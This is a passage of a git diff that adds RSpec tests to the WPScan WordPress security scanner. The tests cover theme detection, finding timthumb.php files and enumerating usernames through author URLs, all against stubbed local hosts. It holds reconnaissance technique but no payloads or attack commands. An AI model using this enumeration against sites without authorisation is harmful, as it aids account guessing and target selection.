+                WpTheme.new({:base_url => "http://example.localhost/",
+                             :path => "webfolio",
+                             :wp_content_dir => "wp-content",
+                             :name => "webfolio"})]
+  end
+
+  describe "#themes_from_passive_detection" do
+    let(:passive_detection_fixtures) { @fixtures_dir + '/passive_detection' }
+
+    it "should return an empty array" do
+      stub_request_to_fixture(:url => @module.url, :fixture => File.new(passive_detection_fixtures + '/no_theme.htm'))
+      themes = @module.themes_from_passive_detection(:base_url => @module.url, :wp_content_dir => "wp-content")
+      themes.should be_empty
+    end
+
+    it "should return the expected themes" do
+      stub_request_to_fixture(:url => @module.url, :fixture => File.new(passive_detection_fixtures + '/various_themes.htm'))
+
+      expected_theme_names = %w{ theme1 theme2 theme3 }
+      expected_themes = []
+      expected_theme_names.each do |theme_name|
+        expected_themes << WpTheme.new(:base_url => @module.url,
+                                       :path => "/themes/#{theme_name}/",
+                                       :name => theme_name)
+      end
+
+      themes = @module.themes_from_passive_detection(:base_url => @module.url, :wp_content_dir => "wp-content")
+      themes.should_not be_empty
+      themes.length.should == expected_themes.length
+      themes.sort.should == expected_themes.sort
+    end
+  end
+
+  describe "#themes_from_aggressive_detection" do
+
+    before :each do
+      stub_request(:get, @module.uri.to_s).to_return(:status => 200)
+      # Point all targets to a 404
+      @targets.each do |target|
+        stub_request(:get, target.get_full_url.to_s).to_return(:status => 404)
+        # to_s calls readme_url
+        stub_request(:get, target.readme_url.to_s).to_return(:status => 404)
+      end
+    end
+
+    after :each do
+      @passive_detection_fixture = SPEC_FIXTURES_DIR + "/empty-file" unless @passive_detection_fixture
+      stub_request_to_fixture(:url => "#{@module.uri}/".sub(/\/\/$/, "/"), :fixture => @passive_detection_fixture)
+      detected = @module.themes_from_aggressive_detection(@options)
+      detected.length.should == @expected_themes.length
+      detected.sort.should == @expected_themes.sort
+    end
+
+    it "should return an empty array" do
+      @expected_themes = []
+    end
+
+    it "should return an array with 3 WpTheme (1 detected from passive method)" do
+      @passive_detection_fixture = @fixtures_dir + "/passive_detection/one_theme.htm"
+      @expected_themes = @targets.sample(2)
+      @expected_themes.each do |p|
+        stub_request(:get, p.get_full_url.to_s).to_return(:status => 200)
+      end
+      new_theme = WpTheme.new(:base_url => "http://example.localhost/",
+                              :path => "/themes/custom-twentyten/",
+                              :name => "custom-twentyten")
+      stub_request(:get, new_theme.readme_url.to_s).to_return(:status => 200)
+      @expected_themes << new_theme
+    end
+
+    # testing response codes
+    WpTarget.valid_response_codes.each do |valid_response_code|
+      it "should detect the theme if the reponse.code is #{valid_response_code}" do
+        @expected_themes = []
+        theme_url = [@targets.sample(1)[0]]
+        theme_url.should_not be_nil
+        theme_url.length.should == 1
+        @expected_themes = theme_url
+        stub_request(:get, theme_url[0].get_full_url.to_s).to_return(:status => valid_response_code)
+      end
+    end
+  end
+end
diff --git a/spec/lib/wpscan/modules/wp_timthumbs_spec.rb b/spec/lib/wpscan/modules/wp_timthumbs_spec.rb
index d23209cd..8c8a849e 100644
--- a/spec/lib/wpscan/modules/wp_timthumbs_spec.rb
+++ b/spec/lib/wpscan/modules/wp_timthumbs_spec.rb
@@ -1,93 +1,115 @@
+#--
+# WPScan - WordPress Security Scanner
+# Copyright (C) 2012
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#++
+
 shared_examples_for "WpTimthumbs" do
 
   before :each do
-    @module             = WpScanModuleSpec.new('http://example.localhost/')
-    @fixtures_dir       = SPEC_FIXTURES_WPSCAN_MODULES_DIR + '/wp_timthumbs'
-    @theme_name         = "bueno"
-    @timthumbs_file     = @fixtures_dir + '/timthumbs.txt'
-    @targets_from_file  =
-    [
-      "http://example.localhost/wp-content/plugins/fotoslide/timthumb.php",
-      "http://example.localhost/wp-content/plugins/feature-slideshow/timthumb.php"
-    ]
+    @options = {}
+    @url = "http://example.localhost/"
+    @theme_name = "bueno"
+    @options[:base_url] = @url
+    @options[:wp_content_dir] = "wp-content"
+    @options[:name] = @theme_name
+    @options[:error_404_hash] = "xx"
+    @options[:show_progress_bar] = false
+    @options[:only_vulnerable_ones] = false
+    @options[:vulns_file] = "xx"
+    @options[:type] = "timthumbs"
+    @module = WpScanModuleSpec.new(@url)
+    @fixtures_dir = SPEC_FIXTURES_WPSCAN_MODULES_DIR + "/wp_timthumbs"
+    @timthumbs_file = @fixtures_dir + "/timthumbs.txt"
+    @targets_from_file =
+        %w{
+      http://example.localhost/wp-content/plugins/fotoslide/timthumb.php
+      http://example.localhost/wp-content/plugins/feature-slideshow/timthumb.php
+    }
     @targets_from_theme =
-    [
-      'http://example.localhost/wp-content/themes/' + @theme_name + '/timthumb.php',
-      'http://example.localhost/wp-content/themes/' + @theme_name + '/lib/timthumb.php',
-      'http://example.localhost/wp-content/themes/' + @theme_name + '/inc/timthumb.php',
-      'http://example.localhost/wp-content/themes/' + @theme_name + '/includes/timthumb.php',
-      'http://example.localhost/wp-content/themes/' + @theme_name + '/scripts/timthumb.php',
-      'http://example.localhost/wp-content/themes/' + @theme_name + '/tools/timthumb.php',
-      'http://example.localhost/wp-content/themes/' + @theme_name + '/functions/timthumb.php'
-    ]
+        [
+            "http://example.localhost/wp-content/themes/" + @theme_name + "/timthumb.php",
+            "http://example.localhost/wp-content/themes/" + @theme_name + "/lib/timthumb.php",
+            "http://example.localhost/wp-content/themes/" + @theme_name + "/inc/timthumb.php",
+            "http://example.localhost/wp-content/themes/" + @theme_name + "/includes/timthumb.php",
+            "http://example.localhost/wp-content/themes/" + @theme_name + "/scripts/timthumb.php",
+            "http://example.localhost/wp-content/themes/" + @theme_name + "/tools/timthumb.php",
+            "http://example.localhost/wp-content/themes/" + @theme_name + "/functions/timthumb.php"
+        ]
 
     @module.extend(WpTimthumbs)
   end
 
-  describe "#timthumbs_file" do
-    it "should return #{DATA_DIR}/timthumb.txt" do
-      WpTimthumbs.timthumbs_file.should === "#{DATA_DIR}/timthumbs.txt"
-    end
-
-    it "should return hello/file.txt" do
-      WpTimthumbs.timthumbs_file("hello/file.txt").should === "hello/file.txt"
-    end
-  end
-
   describe "#targets_url_from_theme" do
     it "should return the targets for the theme" do
-      targets = @module.send(:targets_url_from_theme, @theme_name)
+      targets = @module.send(:targets_url_from_theme, @theme_name, @options)
 
       targets.should_not be_empty
-      targets.sort.should === @targets_from_theme.sort
+      targets.length.should > 0
+      temp = []
+      targets.each do |t|
+        temp << t.get_full_url.to_s
+      end
+      temp.sort.should === @targets_from_theme.sort
     end
   end
 
-  describe "#timthumbs_targets_url" do
-    it "should return only the targets from the timthumbs file" do
-      targets = @module.timthumbs_targets_url(:timthumbs_file => @timthumbs_file)
-
-      targets.should_not be_empty
-      targets.sort.should === @targets_from_file.sort
-    end
-
-    it "should return targets from timthumbs file and theme" do
-      targets = @module.timthumbs_targets_url(:theme_name => @theme_name, :timthumbs_file => @timthumbs_file)
-
-      targets.should_not be_empty
-      targets.sort.should === (@targets_from_file + @targets_from_theme).sort
-    end
-  end
-
-  describe "#timthumbs" do
-
+  describe "#timthumbs and #has_timthumbs?" do
     before :each do
-      @module.timthumbs_targets_url(:theme_name => @theme_name, :timthumbs_file => @timthumbs_file).each do |target_url|
-        stub_request(:get, target_url).to_return(:status => 404)
+      @options[:file] = @timthumbs_file
+      @targets_from_file.each do |url|
+        stub_request(:get, url).to_return(:status => 404)
       end
     end
 
     it "should return an empty array" do
-      timthumbs = @module.timthumbs(:theme_name => @theme_name, :timthumbs_file => @timthumbs_file)
-
+      timthumbs = @module.timthumbs(nil, @options)
       timthumbs.should be_empty
-      @module.has_timthumbs?.should be_false
+      @module.has_timthumbs?(nil, @options).should be_false
+    end
+
+    it "should return an array with 7 elements (from passive detection)" do
+      stub_request(:get, %r{http://example\.localhost/wp-content/themes/my-theme/.*}).to_return(:status => 200)
+      timthumbs = @module.timthumbs("my-theme", @options)
+      timthumbs.length.should == 7
     end
 
     it "should return an array with 2 timthumbs url" do
       expected = []
-      @module.timthumbs_targets_url(:theme_name => @theme_name, :timthumbs_file => @timthumbs_file).sample(2).each do |target_url|
+      urls = []
+      urls_hash = WpEnumerator.generate_items(@options)
+      urls_hash.each do |u|
+        url = u.get_full_url.to_s
+        urls << url
+        stub_request(:get, url).to_return(:status => 404)
+      end
+      urls.sample(2).each do |target_url|
         expected << target_url
-
         stub_request(:get, target_url).
-          to_return(:status => 200, :body => File.new(@fixtures_dir + "/timthumb.php"))
+            to_return(:status => 200, :body => File.new(@fixtures_dir + "/timthumb.php"))
       end
 
-      timthumbs = @module.timthumbs(:theme_name => @theme_name, :timthumbs_file => @timthumbs_file)
+      timthumbs = @module.timthumbs(nil, @options)
       timthumbs.should_not be_empty
-      timthumbs.sort.should === expected.sort
-      @module.has_timthumbs?.should be_true
+
+      temp = []
+      timthumbs.each do |t|
+        temp << t.get_full_url.to_s
+      end
+      temp.sort.should === expected.sort
+      @module.has_timthumbs?(nil).should be_true
     end
   end
-
 end
diff --git a/spec/lib/wpscan/modules/wp_usernames_spec.rb b/spec/lib/wpscan/modules/wp_usernames_spec.rb
index 6c5794de..5cded7e6 100644
--- a/spec/lib/wpscan/modules/wp_usernames_spec.rb
+++ b/spec/lib/wpscan/modules/wp_usernames_spec.rb
@@ -1,8 +1,26 @@
+#--
+# WPScan - WordPress Security Scanner
+# Copyright (C) 2012
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#++
+
 shared_examples_for "WpUsernames" do
 
   before :each do
-    @target_url   = 'http://example.localhost/'
-    @module       = WpScanModuleSpec.new(@target_url)
+    @target_url = 'http://example.localhost/'
+    @module = WpScanModuleSpec.new(@target_url)
     @fixtures_dir = SPEC_FIXTURES_WPSCAN_MODULES_DIR + '/wp_usernames'
 
     @module.extend(WpUsernames)
@@ -10,12 +28,12 @@ shared_examples_for "WpUsernames" do
 
   describe "#author_url" do
     it "should return the auhor url according to his id" do
-      @module.author_url(1).should === "#{@target_url}?author=1"
+      @module.author_url(1).should === "#@target_url?author=1"
     end
   end
 
   describe "#usernames" do
-     before :each do
+    before :each do
       (1..10).each do |index|
         stub_request(:get, @module.author_url(index)).to_return(:status => 404)
       end
@@ -27,42 +45,196 @@ shared_examples_for "WpUsernames" do
 
     it "should return an array with 1 username (from header location)" do
       stub_request(:get, @module.author_url(3)).
-        to_return(:status => 301, :headers => { 'location' => '/author/Youhou/'})
+          to_return(:status => 301, :headers => {'location' => '/author/Youhou/'})
 
       usernames = @module.usernames
       usernames.should_not be_empty
-      usernames.should === ["Youhou"]
+      usernames.length.should == 1
+      usernames[0].id.should == 3
+      usernames[0].name.should == "Youhou"
+      usernames[0].nickname.should == "empty"
     end
 
     it "should return an array with 1 username (from in the body response)" do
       stub_request(:get, @module.author_url(2)).
-        to_return(:status => 200, :body => File.new(@fixtures_dir + '/admin.htm'))
+          to_return(:status => 200, :body => File.new(@fixtures_dir + '/admin.htm'))
 
       usernames = @module.usernames(:range => (1..2))
       usernames.should_not be_empty
-      usernames.should === ["admin"]
-    end
-
-    it "should return an array with 1 username (testing duplicates)" do
-      (2..3).each do |id|
-        stub_request(:get, @module.author_url(id)).
-          to_return(:status => 200, :body => File.new(@fixtures_dir + '/admin.htm'))
-      end
-
-      @module.usernames(:range => (1..3)).should === ["admin"]
+      usernames.eql?([WpUser.new("admin", 2, "admin | Wordpress 3.3.2")]).should be_true
     end
 
     it "should return an array with 2 usernames (one is a duplicate and should not be present twice)" do
       stub_request(:get, @module.author_url(4)).
-        to_return(:status => 301, :headers => { 'location' => '/author/Youhou/'})
+          to_return(:status => 301, :headers => {'location' => '/author/Youhou/'})
 
       stub_request(:get, @module.author_url(2)).
-        to_return(:status => 200, :body => File.new(@fixtures_dir + '/admin.htm'))
+          to_return(:status => 200, :body => File.new(@fixtures_dir + '/admin.htm'))
 
       usernames = @module.usernames(:range => (1..5))
       usernames.should_not be_empty
-      usernames.sort.should === ["admin", "Youhou"].sort
+      expected = [WpUser.new("admin", 2, "admin | Wordpress 3.3.2"),
+                  WpUser.new("Youhou", 4, "empty")]
+
+      usernames.sort_by { |u| u.name }.eql?(expected.sort_by { |u| u.name }).should be_true
     end
   end
 
+  describe "#get_nickname_from_url" do
+    after :each do
+      url = "http://example.localhost/"
+      stub_request(:get, url).to_return(:status => @status, :body => @content)
+      username = @module.get_nickname_from_url(url)
+      username.should === @expected
+    end
+
+    it "should return nil" do
+      @status = 200
+      @content = ""
+      @expected = nil
+    end
+
+    it "should return nil" do
+      @status = 400
+      @content = ""
+      @expected = nil
+    end
+
+    it "should return admin" do
+      @status = 200
+      @content = "<title>admin</title>"
+      @expected = "admin"
+    end
+
+    it "should return nil" do
+      @status = 201
+      @content = "<title>admin</title>"
+      @expected = nil
+    end
+  end
+
+  describe "#get_nickname_from_response" do
+    after :each do
+      url = "http://example.localhost/"
+      stub_request(:get, url).to_return(:status => @status, :body => @content)
+      resp = Browser.instance.get(url)
+      username = @module.get_nickname_from_response(resp)
+      username.should === @expected
+    end
+
+    it "should return nil" do
+      @status = 200
+      @content = ""
+      @expected = nil
+    end
+
+    it "should return nil" do
+      @status = 400
+      @content = ""
+      @expected = nil
+    end
+
+    it "should return admin" do
+      @status = 200
+      @content = "<title>admin</title>"
+      @expected = "admin"
+    end
+
+    it "should return nil" do
+      @status = 201
+      @content = "<title>admin</title>"
+      @expected = nil
+    end
+  end
+
+  describe "#extract_nickname_from_body" do
+    after :each do
+      result = @module.extract_nickname_from_body(@body)
+      result.should === @expected
+    end
+
+    it "should return admin" do
+      @body = "<title>admin</title>"
+      @expected = "admin"
+    end
+
+    it "should return nil" do
+      @body = "<title>adm<in</title>"
+      @expected = nil
+    end
+
+    it "should return nil" do
+      @body = "<titler>admin</titler>"
+      @expected = nil
+    end
+
+    it "should return admin | " do
+      @body = "<title>admin | </title>"
+      @expected = "admin | "
+    end
+
+    it "should return an empty string" do
+      @body = "<title></title>"
+      @expected = ""
+    end
+  end
+
+  describe "#remove_junk_from_nickname" do
+    it "should throw an exception" do
+      @input = nil
+      expect { @module.remove_junk_from_nickname(@input) }.to raise_error(RuntimeError, "Need an array as input")
+    end
+
+    it "should not throw an exception" do
+      @input = []
+      expect { @module.remove_junk_from_nickname(@input) }.to_not raise_error
+    end
+
+    it "should throw an exception" do
+      @input = [WpOptions.new]
+      expect { @module.remove_junk_from_nickname(@input) }.to raise_error(RuntimeError, "Items must be of type WpUser")
+    end
+  end
+
+  describe "#remove_junk_from_nickname" do
+    after :each do
+      result = @module.remove_junk_from_nickname(@input)
+      result.eql?(@expected).should === true
+    end
+
+    it "should return an empty array" do
+      @input = []
+      @expected = @input
+    end
+
+    it "should return input object" do
+      @input = [WpUser.new(nil, nil, nil)]
+      @expected = @input
+    end
+
+    it "should return input object" do
+      @input = [WpUser.new("", "", "")]
+      @expected = @input
+    end
+
+    it "should remove asdf" do
+      @input = [WpUser.new(nil, nil, "lkjh asdf"), WpUser.new(nil, nil, "ijrjd asdf")]
+      @expected = [WpUser.new(nil, nil, "lkjh"), WpUser.new(nil, nil, "ijrjd")]
+    end
+
+    it "should return unmodified input object" do
+      @input = [WpUser.new(nil, nil, "lkjh asdfa"), WpUser.new(nil, nil, "ijrjd asdf")]
+      @expected = @input
+    end
+
+    it "should return input object" do
+      @input = [WpUser.new(nil, nil, "lkjh asdf")]
+      @expected = @input
+    end
+
+    it "should return lkhj asdf" do
+      @input = [WpUser.new(nil, nil, "lkhj asdf"), WpUser.new(nil, nil, "lkhj asdf")]
+      @expected = [WpUser.new(nil, nil, ""), WpUser.new(nil, nil, "")]
+    end
+  end
 end
diff --git a/spec/lib/wpscan/wp_detector_spec.rb b/spec/lib/wpscan/wp_detector_spec.rb
new file mode 100644
index 00000000..d80bdbd1
--- /dev/null
+++ b/spec/lib/wpscan/wp_detector_spec.rb
@@ -0,0 +1,23 @@
+#--
+# WPScan - WordPress Security Scanner
+# Copyright (C) 2012
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#++
+
+require File.expand_path(File.dirname(__FILE__) + '/wpscan_helper')
+
+describe WpDetector do
+  # TODO
+end
\ No newline at end of file
diff --git a/spec/lib/wpscan/wp_enumerator_spec.rb b/spec/lib/wpscan/wp_enumerator_spec.rb
new file mode 100644
index 00000000..aa5f52d0
--- /dev/null
+++ b/spec/lib/wpscan/wp_enumerator_spec.rb
@@ -0,0 +1,23 @@
+#--
+# WPScan - WordPress Security Scanner
+# Copyright (C) 2012
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#++
+
+require File.expand_path(File.dirname(__FILE__) + '/wpscan_helper')
+
+describe WpEnumerator do
+  # TODO
+end
\ No newline at end of file
diff --git a/spec/lib/wpscan/wp_item_spec.rb b/spec/lib/wpscan/wp_item_spec.rb
new file mode 100644
index 00000000..fa8ad2af
--- /dev/null
+++ b/spec/lib/wpscan/wp_item_spec.rb
@@ -0,0 +1,516 @@
+#--
+# WPScan - WordPress Security Scanner
+# Copyright (C) 2012
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#++
+
+require File.expand_path(File.dirname(__FILE__) + '/wpscan_helper')
+
+describe WpPlugin do
+  describe "#initialize" do
+    it "should create a correct instance" do
+      instance = WpItem.new(:base_url => "http://sub.example.com/path/to/wordpress/",
+                            :path => "test/asdf.php",
+                            :vulns_file => "XXX.xml",
+                            :name => "test",
+                            :vulns_xpath => "XX",
+                            :type => "plugins"
+      )
+      instance.wp_content_dir.should == "wp-content"
+      instance.base_url.should == "http://sub.example.com/path/to/wordpress/"
+      instance.path.should == "test/asdf.php"
+    end
+  end
+
+  describe "#get_full_url" do
+    it "should return the correct url" do
+      instance = WpItem.new(:base_url => "http://sub.example.com/path/to/wordpress/",
+                            :path => "test/asdf.php",
+                            :vulns_file => "XXX.xml",
+                            :name => "test",
+                            :vulns_xpath => "XX",
+                            :type => "plugins"
+      )
+      instance.get_full_url.to_s.should == "http://sub.example.com/path/to/wordpress/wp-content/plugins/test/asdf.php"
+    end
+
+    it "should return the correct url (custom wp_content_dir)" do
+      instance = WpItem.new(:base_url => "http://sub.example.com/path/to/wordpress/",
+                            :path => "test/asdf.php",
+                            :vulns_file => "XXX.xml",
+                            :name => "test",
+                            :vulns_xpath => "XX",
+                            :type => "plugins",
+                            :wp_content_dir => "custom"
+      )
+      instance.get_full_url.to_s.should == "http://sub.example.com/path/to/wordpress/custom/plugins/test/asdf.php"
+    end
+
+    it "should trim / and add missing / before concatenating url" do
+      instance = WpItem.new(:base_url => "http://sub.example.com/path/to/wordpress/",
+                            :path => "test/asdf.php",
+                            :vulns_file => "XXX.xml",
+                            :name => "test",
+                            :vulns_xpath => "XX",
+                            :type => "plugins",
+                            :wp_content_dir => "/custom/"
+      )
+      instance.get_full_url.to_s.should == "http://sub.example.com/path/to/wordpress/custom/plugins/test/asdf.php"
+    end
+  end
+
+  describe "#get_url_without_filename" do
+    it "should return the correct url" do
+      instance = WpItem.new(:base_url => "http://sub.example.com/path/to/wordpress/",
+                            :path => "test/asdf.php",
+                            :vulns_file => "XXX.xml",
+                            :name => "test",
+                            :vulns_xpath => "XX",
+                            :type => "plugins"
+      )
+      instance.get_url_without_filename.to_s.should == "http://sub.example.com/path/to/wordpress/wp-content/plugins/test/"
+    end
+
+    it "should return the correct url (custom wp_content_dir)" do
+      instance = WpItem.new(:base_url => "http://sub.example.com/path/to/wordpress/",
+                            :path => "test/asdf.php",
+                            :vulns_file => "XXX.xml",
+                            :name => "test",
+                            :vulns_xpath => "XX",
+                            :type => "plugins",
+                            :wp_content_dir => "custom"
+      )
+      instance.get_url_without_filename.to_s.should == "http://sub.example.com/path/to/wordpress/custom/plugins/test/"
+    end
+
+    it "should trim / and add missing / before concatenating url" do
+      instance = WpItem.new(:base_url => "http://sub.example.com/path/to/wordpress/",
+                            :path => "test/asdf.php",
+                            :vulns_file => "XXX.xml",
+                            :name => "test",
+                            :vulns_xpath => "XX",
+                            :type => "plugins",
+                            :wp_content_dir => "/custom/"
+      )
+      instance.get_url_without_filename.to_s.should == "http://sub.example.com/path/to/wordpress/custom/plugins/test/"
+    end
+
+    it "should not remove the last foldername" do
+      instance = WpItem.new(:base_url => "http://sub.example.com/path/to/wordpress/",
+                            :path => "test/",
+                            :vulns_file => "XXX.xml",
+                            :name => "test",
+                            :vulns_xpath => "XX",
+                            :type => "plugins"
+      )
+      instance.get_url_without_filename.to_s.should == "http://sub.example.com/path/to/wordpress/wp-content/plugins/test/"
+    end
+
+    it "should return the correct url (https)" do
+      instance = WpItem.new(:base_url => "https://sub.example.com/path/to/wordpress/",
+                            :path => "test/asdf.php",
+                            :vulns_file => "XXX.xml",
+                            :name => "test",
+                            :vulns_xpath => "XX",
+                            :type => "plugins"
+      )
+      instance.get_url_without_filename.to_s.should == "https://sub.example.com/path/to/wordpress/wp-content/plugins/test/"
+    end
+
+    it "should add the last slash if it's not present" do
+      instance = WpItem.new(:base_url => "http://sub.example.com/path/to/wordpress/",
+                            :path => "test-one",
+                            :vulns_file => "XXX.xml",
+                            :name => "test",
+                            :vulns_xpath => "XX",
+                            :type => "plugins"
+      )
+      instance.get_url_without_filename.to_s.should == "http://sub.example.com/path/to/wordpress/wp-content/plugins/test-one/"
+    end
+  end
+
+  describe "#version" do
+    let(:fixtures_dir) { SPEC_FIXTURES_WPSCAN_WP_PLUGIN_DIR + '/version' }
+
+    before :each do
+      @instance = WpItem.new(:base_url => "http://sub.example.com/path/to/wordpress/",
+                             :path => "test/asdf.php",
+                             :vulns_file => "XXX.xml",
+                             :name => "test",
+                             :vulns_xpath => "XX",
+                             :type => "plugins"
+      )
+    end
+
+    it "should return a version number" do
+      stub_request(:get, @instance.readme_url.to_s).to_return(:status => 200, :body => "Stable tag: 1.2.4.3.2.1")
+      @instance.version.should == "1.2.4.3.2.1"
+    end
+
+    it "should not return a version number" do
+      stub_request(:get, @instance.readme_url.to_s).to_return(:status => 200, :body => "Stable tag: trunk")
+      @instance.version.should be nil
+    end
+
+    it "should return nil if the version is invalid (IE : trunk etc)" do
+      stub_request(:get, @instance.readme_url.to_s).to_return(:status => 200,
+                                                              :body => File.new(fixtures_dir + '/trunk-version.txt'))
+      @instance.version.should be_nil
+    end
+
+    it "should return the version 0.4" do
+      stub_request(:get, @instance.readme_url.to_s).to_return(:status => 200,
+                                                              :body => File.new(fixtures_dir + '/simple-login-lockdown-0.4.txt'))
+
+      @instance.version.should === "0.4"
+    end
+  end
+
+  describe "#directory_listing?" do
+    before :each do
+      @instance = WpItem.new(:base_url => "http://sub.example.com/path/to/wordpress/",
+                             :path => "test/asdf.php",
+                             :vulns_file => "XXX.xml",
+                             :name => "test",
+                             :vulns_xpath => "XX",
+                             :type => "plugins"
+      )
+    end
+
+    it "should return true" do
+      stub_request(:get, @instance.get_url_without_filename.to_s).to_return(:status => 200,
+                                                                            :body => "<html><head><title>Index of asdf</title></head></html>")
+      @instance.directory_listing?.should == true
+    end
+
+    it "should return false" do
+      stub_request(:get, @instance.get_url_without_filename.to_s).to_return(:status => 200,
+                                                                            :body => "<html><head><title>My Wordpress Site</title></head></html>")
+      @instance.directory_listing?.should == false
+    end
+
+    it "should return false on a 404" do
+      stub_request(:get, @instance.get_url_without_filename.to_s.to_s).to_return(:status => 404)
+      @instance.directory_listing?.should be_false
+    end
+  end
+
+  describe "#extract_name_from_url" do
+    it "should extract the correct name" do
+      instance = WpItem.new(:base_url => "http://sub.example.com/path/to/wordpress/",
+                            :path => "test/asdf.php",
+                            :vulns_file => "XXX.xml",
+                            :name => "test",
+                            :vulns_xpath => "XX",
+                            :type => "plugins"
+      )
+      instance.extract_name_from_url.should == "test"
+    end
+
+    it "should extract the correct name (custom wp_content_dir)" do
+      instance = WpItem.new(:base_url => "http://sub.example.com/path/to/wordpress/",
+                            :path => "test/asdf.php",
+                            :vulns_file => "XXX.xml",
+                            :name => "test",
+                            :vulns_xpath => "XX",
+                            :type => "plugins",
+                            :wp_content_dir => "custom"
+      )
+      instance.extract_name_from_url.should == "test"
+    end
+
+    it "should extract the correct name" do
+      instance = WpItem.new(:base_url => "http://sub.example.com/path/to/wordpress/",
+                            :path => "test2/asdf.php",
+                            :vulns_file => "XXX.xml",
+                            :name => "test",
+                            :vulns_xpath => "XX",
+                            :type => "plugins",
+                            :wp_content_dir => "/custom/"
+      )
+      instance.extract_name_from_url.should == "test2"
+    end
+
+    it "should extract the correct plugin name" do
+      instance = WpItem.new(:base_url => "http://sub.example.com/path/to/wordpress/",
+                            :path => "testplugin/",
+                            :vulns_file => "XXX.xml",
+                            :name => "test",
+                            :vulns_xpath => "XX",
+                            :type => "plugins"
+      )
+      instance.extract_name_from_url.should == "testplugin"
+    end
+
+    it "should extract the correct theme name" do
+      instance = WpItem.new(:base_url => "http://sub.example.com/path/to/wordpress/",
+                            :path => "testtheme/",
+                            :vulns_file => "XXX.xml",
+                            :name => "test",
+                            :vulns_xpath => "XX",
+                            :type => "themes"
+      )
+      instance.extract_name_from_url.should == "testtheme"
+    end
+  end
+
+  describe "#to_s" do
+    before :each do
+      @instance = WpItem.new(:base_url => "http://sub.example.com/path/to/wordpress/",
+                             :path => "test/asdf.php",
+                             :vulns_file => "XXX.xml",
+                             :name => "test",
+                             :vulns_xpath => "XX",
+                             :type => "plugins"
+      )
+    end
+
+    it "should return the name including a version number" do
+      stub_request(:get, @instance.readme_url.to_s).to_return(:status => 200, :body => "Stable tag: 1.2.4.3.2.1")
+      @instance.to_s.should == "test v1.2.4.3.2.1"
+    end
+
+    it "should not return the name without a version number" do
+      stub_request(:get, @instance.readme_url.to_s).to_return(:status => 200, :body => "Stable tag: trunk")
+      @instance.to_s.should == "test"
+    end
+  end
+
+  describe "#==" do
+    before :each do
+      @instance = WpItem.new(:base_url => "http://sub.example.com/path/to/wordpress/",
+                             :path => "test/asdf.php",
+                             :vulns_file => "XXX.xml",
+                             :name => "test",
+                             :vulns_xpath => "XX",
+                             :type => "plugins"
+      )
+    end
+
+    it "should return false" do
+      instance2 = WpItem.new(:base_url => "http://sub.example.com/path/to/wordpress/",
+                             :path => "newname/asdf.php",
+                             :type => "plugins",
+                             :vulns_file => "XXX.xml",
+                             :vulns_xpath => "XX"
+      )
+      (@instance==instance2).should == false
+    end
+
+    it "should return true" do
+      instance2 = WpItem.new(:base_url => "http://sub.example.com/path/to/wordpress/",
+                             :path => "test/asdf.php",
+                             :type => "plugins",
+                             :vulns_file => "XXX.xml",
+                             :vulns_xpath => "XX"
+      )
+      (@instance==instance2).should == true
+    end
+  end
+
+  describe "#get_sub_folder" do
+    it "should return themes" do
+      item = WpItem.new(:base_url => "http://sub.example.com/path/to/wordpress/",
+                        :path => "test/asdf.php",
+                        :vulns_file => "XXX.xml",
+                        :wp_content_dir => "wp-content",
+                        :wp_plugins_dir => "wp-content/plugins",
+                        :name => "test",
+                        :vulns_xpath => "XX",
+                        :type => "themes"
+      )
+      item.get_sub_folder.should == "themes"
+    end
+
+    it "should return themes" do
+      item = WpItem.new(:base_url => "http://sub.example.com/path/to/wordpress/",
+                        :path => "test/asdf.php",
+                        :vulns_file => "XXX.xml",
+                        :wp_content_dir => "wp-content",
+                        :wp_plugins_dir => "wp-content/plugins",
+                        :name => "test",
+                        :vulns_xpath => "XX",
+                        :type => "themes"
+      )
+      item.get_sub_folder.should == "themes"
+    end
+
+    it "should return nil" do
+      item = WpItem.new(:base_url => "http://sub.example.com/path/to/wordpress/",
+                        :path => "test/asdf.php",
+                        :vulns_file => "XXX.xml",
+                        :wp_content_dir => "wp-content",
+                        :wp_plugins_dir => "wp-content/plugins",
+                        :name => "test",
+                        :vulns_xpath => "XX",
+                        :type => "timthumbs"
+      )
+      item.get_sub_folder.should == nil
+    end
+
+    it "should raise an exception" do
+      item = WpItem.new(:base_url => "http://sub.example.com/path/to/wordpress/",
